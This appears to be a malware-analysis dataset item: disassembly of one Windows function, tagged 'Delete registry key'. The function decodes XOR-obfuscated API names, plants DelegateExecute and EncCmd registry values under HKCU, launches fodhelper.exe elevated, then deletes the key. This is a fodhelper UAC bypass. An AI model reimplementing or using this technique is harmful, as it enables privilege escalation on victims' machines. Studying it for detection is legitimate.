Function at 0x1400017d0
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x140]
sub rsp, 0x240
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x130], rax
mov qword [rbp - 8], rdx
xor r14d, r14d
mov dword [rsp + 0x50], r14d
cmp ecx, 2
je 0x140001823
mov eax, 1
jmp 0x1400021a9
xorps xmm0, xmm0
mov dword [rsp + 0x50], 0x4b1f392c
mov word [rsp + 0x54], 0x153e
lea rdi, [rsp + 0x50]
movdqu xmmword [rbp + 0xf0], xmm0
mov ecx, 6
call fcn.140002fa0
mov rbx, rax
mov qword [rbp + 0xf0], rax
lea r12, [rax + 6]
mov qword [rbp + 0x100], r12
mov r8d, 6
mov rdx, rdi
mov rcx, rax
call fcn.1400125c0
mov qword [rbp + 0xf8], r12
xorps xmm0, xmm0
mov dword [rsp + 0x58], 0x4d29312f
mov word [rsp + 0x5c], 0x1a3b
lea rsi, [rsp + 0x58]
movdqu xmmword [rbp + 0xc0], xmm0
mov ecx, 6
call fcn.140002fa0
mov rdi, rax
mov qword [rbp + 0xc0], rax
lea r15, [rax + 6]
mov qword [rbp + 0xd0], r15
mov r8d, 6
mov rdx, rsi
mov rcx, rax
call fcn.1400125c0
mov qword [rbp + 0xc8], r15
xorps xmm0, xmm0
mov dword [rsp + 0x60], 0x5e21273a
mov word [rsp + 0x64], 0x143d
lea r13, [rsp + 0x60]
movdqu xmmword [rbp + 0xd8], xmm0
mov ecx, 6
call fcn.140002fa0
mov rsi, rax
mov qword [rbp + 0xd8], rax
lea r14, [rax + 6]
mov qword [rbp + 0xe8], r14
mov r8d, 6
mov rdx, r13
mov rcx, rax
call fcn.1400125c0
mov qword [rbp + 0xe0], r14
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x58], rax
lea rcx, str.Shell32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rbp - 0x10], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xor ecx, ecx
mov qword [rsp + 0x78], rcx
mov r8d, 0xf
mov qword [rbp - 0x80], r8
mov byte [rsp + 0x68], cl
mov r13d, 1
mov dword [rsp + 0x50], r13d
cmp rbx, r12
je 0x1400019cd
nop word [rax + rax]
movzx r9d, byte [rbx]
xor r9b, 0x5a
cmp rcx, r8
jae 0x1400019b0
lea rax, [rcx + 1]
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x68]
cmp r8, 0xf
cmova rax, qword [rsp + 0x68]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400019ba
lea rcx, [rsp + 0x68]
call fcn.140002820
inc rbx
mov r8, qword [rbp - 0x80]
cmp rbx, r12
je 0x1400019cd
mov rcx, qword [rsp + 0x78]
jmp 0x140001980
lea rdx, [rsp + 0x68]
cmp r8, 0xf
cmova rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x18], rax
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140001a27
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a22
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400021e5
call fcn.140002fdc
mov qword [rsp + 0x78], 0
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xor ecx, ecx
mov qword [rbp - 0x68], rcx
mov r8d, 0xf
mov qword [rbp - 0x60], r8
mov byte [rbp - 0x78], cl
mov dword [rsp + 0x50], 2
mov rbx, rdi
cmp rdi, r15
je 0x140001ab8
nop word [rax + rax]
movzx r9d, byte [rbx]
xor r9b, 0x5a
cmp rcx, r8
jae 0x140001a9d
lea rax, [rcx + 1]
mov qword [rbp - 0x68], rax
lea rax, [rbp - 0x78]
cmp r8, 0xf
cmova rax, qword [rbp - 0x78]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140001aa6
lea rcx, [rbp - 0x78]
call fcn.140002820
inc rbx
mov r8, qword [rbp - 0x60]
cmp rbx, r15
je 0x140001ab8
mov rcx, qword [rbp - 0x68]
jmp 0x140001a70
lea rdx, [rbp - 0x78]
cmp r8, 0xf
cmova rdx, qword [rbp - 0x78]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x58], rax
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x140001b10
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b0b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400021eb
call fcn.140002fdc
mov qword [rbp - 0x68], 0
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xor ecx, ecx
mov qword [rbp - 0x48], rcx
mov r8d, 0xf
mov qword [rbp - 0x40], r8
mov byte [rbp - 0x58], cl
mov dword [rsp + 0x50], 4
mov rbx, rsi
cmp rsi, r14
je 0x140001b98
nop
movzx r9d, byte [rbx]
xor r9b, 0x5a
cmp rcx, r8
jae 0x140001b7d
lea rax, [rcx + 1]
mov qword [rbp - 0x48], rax
lea rax, [rbp - 0x58]
cmp r8, 0xf
cmova rax, qword [rbp - 0x58]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140001b86
lea rcx, [rbp - 0x58]
call fcn.140002820
inc rbx
mov r8, qword [rbp - 0x40]
cmp rbx, r14
je 0x140001b98
mov rcx, qword [rbp - 0x48]
jmp 0x140001b50
lea rdx, [rbp - 0x58]
cmp r8, 0xf
cmova rdx, qword [rbp - 0x58]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x50], rax
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x140001bf4
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001bea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400021f1
call fcn.140002fdc
mov rax, qword [rsp + 0x50]
mov qword [rbp - 0x48], 0
mov qword [rbp - 0x40], 0xf
mov byte [rbp - 0x58], 0
cmp qword [rbp - 0x18], 0
je 0x1400020fc
cmp qword [rsp + 0x58], 0
je 0x1400020fc
test rax, rax
je 0x1400020fc
mov rdx, qword [rbp - 8]
mov rdx, qword [rdx + 8]
lea rcx, [rbp + 0xa0]
call fcn.1400022f0
nop
call fcn.140008760
mov r8d, eax
and r8d, 0x800000ff
jge 0x140001c5b
dec r8d
or r8d, 0xffffff00
inc r8d
mov byte [rbp], r8b
lea rbx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 7
cmova rbx, qword [rbp + 0xa0]
lea rcx, [rbp + 0xa0]
cmova rcx, qword [rbp + 0xa0]
mov rax, qword [rbp + 0xb0]
lea rsi, [rcx + rax*2]
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x20], 0xf
cmp rbx, rsi
jne 0x140001cb2
xor ebx, ebx
mov qword [rbp - 0x28], rbx
mov byte [rbp - 0x38], bl
jmp 0x140001dba
sub rsi, rbx
sar rsi, 1
mov qword [rbp - 0x28], 0
movabs rax, 0x7fffffffffffffff
cmp rsi, rax
ja 0x1400021f7
mov edi, 0xf
cmp rsi, rdi
jbe 0x140001d70
mov rdi, rsi
or rdi, 0xf
cmp rdi, rax
jbe 0x140001d28
mov rdi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140002fa0
mov rcx, rax
test rax, rax
je 0x140002203
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x20], rdi
jmp 0x140001d74
mov eax, 0x16
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140001d49
xor eax, eax
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x20], rdi
jmp 0x140001d74
cmp rcx, 0x1000
jb 0x140001d61
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400021df
jmp 0x140001cfe
call fcn.140002fa0
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x20], rdi
jmp 0x140001d74
mov rax, qword [rbp - 0x38]
lea r8, [rbp - 0x38]
cmp rdi, 0xf
cmova r8, rax
mov rcx, r8
mov rdx, rsi
test rsi, rsi
je 0x140001da3
nop dword [rax + rax]
movzx eax, byte [rbx]
mov byte [rcx], al
lea rcx, [rcx + 1]
lea rbx, [rbx + 2]
sub rdx, 1
jne 0x140001d90
mov qword [rbp - 0x28], rsi
mov byte [r8 + rsi], 0
movzx r8d, byte [rbp]
mov rdi, qword [rbp + 0xc0]
xor ebx, ebx
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0x108]
call fcn.1400012a0
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x140001e06
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e01
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400021fd
call fcn.140002fdc
lea rcx, [rbp + 0x80]
call fcn.140001470
nop
lea rdx, [rbp + 0x80]
cmp qword [rbp + 0x98], 7
cmova rdx, qword [rbp + 0x80]
lea rax, [rbp + 0x128]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [rbp - 0x18]
test eax, eax
jne 0x140001fd9
lea rcx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 7
cmova rcx, qword [rbp + 0xa0]
mov eax, dword [rbp + 0xb0]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, r13d
xor r8d, r8d
lea rsi, [0x14001bbe0]
mov rdx, rsi
mov rcx, qword [rbp + 8]
mov rbx, qword [rsp + 0x58]
call rbx
lea rcx, [rbp + 0x108]
cmp qword [rbp + 0x120], 0xf
cmova rcx, qword [rbp + 0x108]
mov eax, dword [rbp + 0x118]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 3
xor r8d, r8d
lea rdx, str.EncCmd
mov rcx, qword [rbp + 8]
call rbx
mov dword [rsp + 0x28], r13d
lea rax, [rbp]
mov qword [rsp + 0x20], rax
mov r9d, 3
xor r8d, r8d
lea rdx, str.DecKey
mov rcx, qword [rbp + 8]
call rbx
mov dword [rsp + 0x28], 2
mov qword [rsp + 0x20], rsi
mov r9d, r13d
xor r8d, r8d
lea rdx, str.DelegateExecute
mov rcx, qword [rbp + 8]
call rbx
call fcn.1400011c0
mov dword [rbp + 0x10], 0x70
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x14], xmm0
movups xmmword [rbp + 0x24], xmm0
movups xmmword [rbp + 0x34], xmm0
movups xmmword [rbp + 0x44], xmm0
movups xmmword [rbp + 0x54], xmm0
movups xmmword [rbp + 0x64], xmm0
mov qword [rbp + 0x74], rax
mov dword [rbp + 0x7c], eax
lea rax, str.runas
mov qword [rbp + 0x20], rax
lea rax, str.C:WindowsSystem32_fodhelper.exe
mov qword [rbp + 0x28], rax
xor ebx, ebx
mov dword [rbp + 0x40], ebx
lea rcx, [rbp + 0x10]
call qword [rsp + 0x50]
test eax, eax
jne 0x140001fad
lea rdx, [rbp + 0x80]
cmp qword [rbp + 0x98], 7
cmova rdx, qword [rbp + 0x80]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
jmp 0x140001fd9
call fcn.1400011c0
lea rdx, [rbp + 0x80]
cmp qword [rbp + 0x98], 7
cmova rdx, qword [rbp + 0x80]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
mov r13d, ebx
mov rdx, qword [rbp + 0x98]
cmp rdx, 7
jbe 0x14000201f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000201a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400021fd
call fcn.140002fdc
movdqa xmm0, xmmword [0x14001bc90]
movdqu xmmword [rbp + 0x90], xmm0
mov word [rbp + 0x80], bx
mov rdx, qword [rbp + 0x120]
cmp rdx, 0xf
jbe 0x14000207f
inc rdx
mov rcx, qword [rbp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002072
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002203
call fcn.140002fdc
movdqa xmm0, xmmword [0x14001bc90]
mov qword [rbp + 0x118], rbx
mov qword [rbp + 0x120], 0xf
mov byte [rbp + 0x108], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 7
jbe 0x1400020e6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400020d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002209
call fcn.140002fdc
movdqa xmm0, xmmword [0x14001bc90]
movdqu xmmword [rbp + 0xb0], xmm0
mov word [rbp + 0xa0], bx
mov rsi, qword [rbp + 0xd8]
test rsi, rsi
je 0x140002135
sub r14, rsi
mov rax, rsi
cmp r14, 0x1000
jb 0x140002129
add r14, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000220f
mov rdx, r14
mov rcx, rsi
call fcn.140002fdc
nop
test rdi, rdi
je 0x14000216e
sub r15, rdi
mov rax, rdi
cmp r15, 0x1000
jb 0x140002162
add r15, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002215
mov rdx, r15
mov rcx, rdi
call fcn.140002fdc
nop
mov rcx, qword [rbp + 0xf0]
test rcx, rcx
je 0x1400021a6
sub r12, rcx
mov rax, rcx
cmp r12, 0x1000
jb 0x14000219e
add r12, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400021d9
mov rdx, r12
call fcn.140002fdc
mov eax, r13d
mov rcx, qword [rbp + 0x130]
xor rcx, rsp
call fcn.140002f80
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140008b98
nop
call fcn.140001100
nop
call fcn.140008b98
int3
call fcn.140008b98
int3
call fcn.140008b98
nop
call fcn.1400011a0
nop
call fcn.140008b98
nop
call fcn.140008b98
nop
call fcn.140008b98
nop
call fcn.140008b98
nop
call fcn.140008b98
int3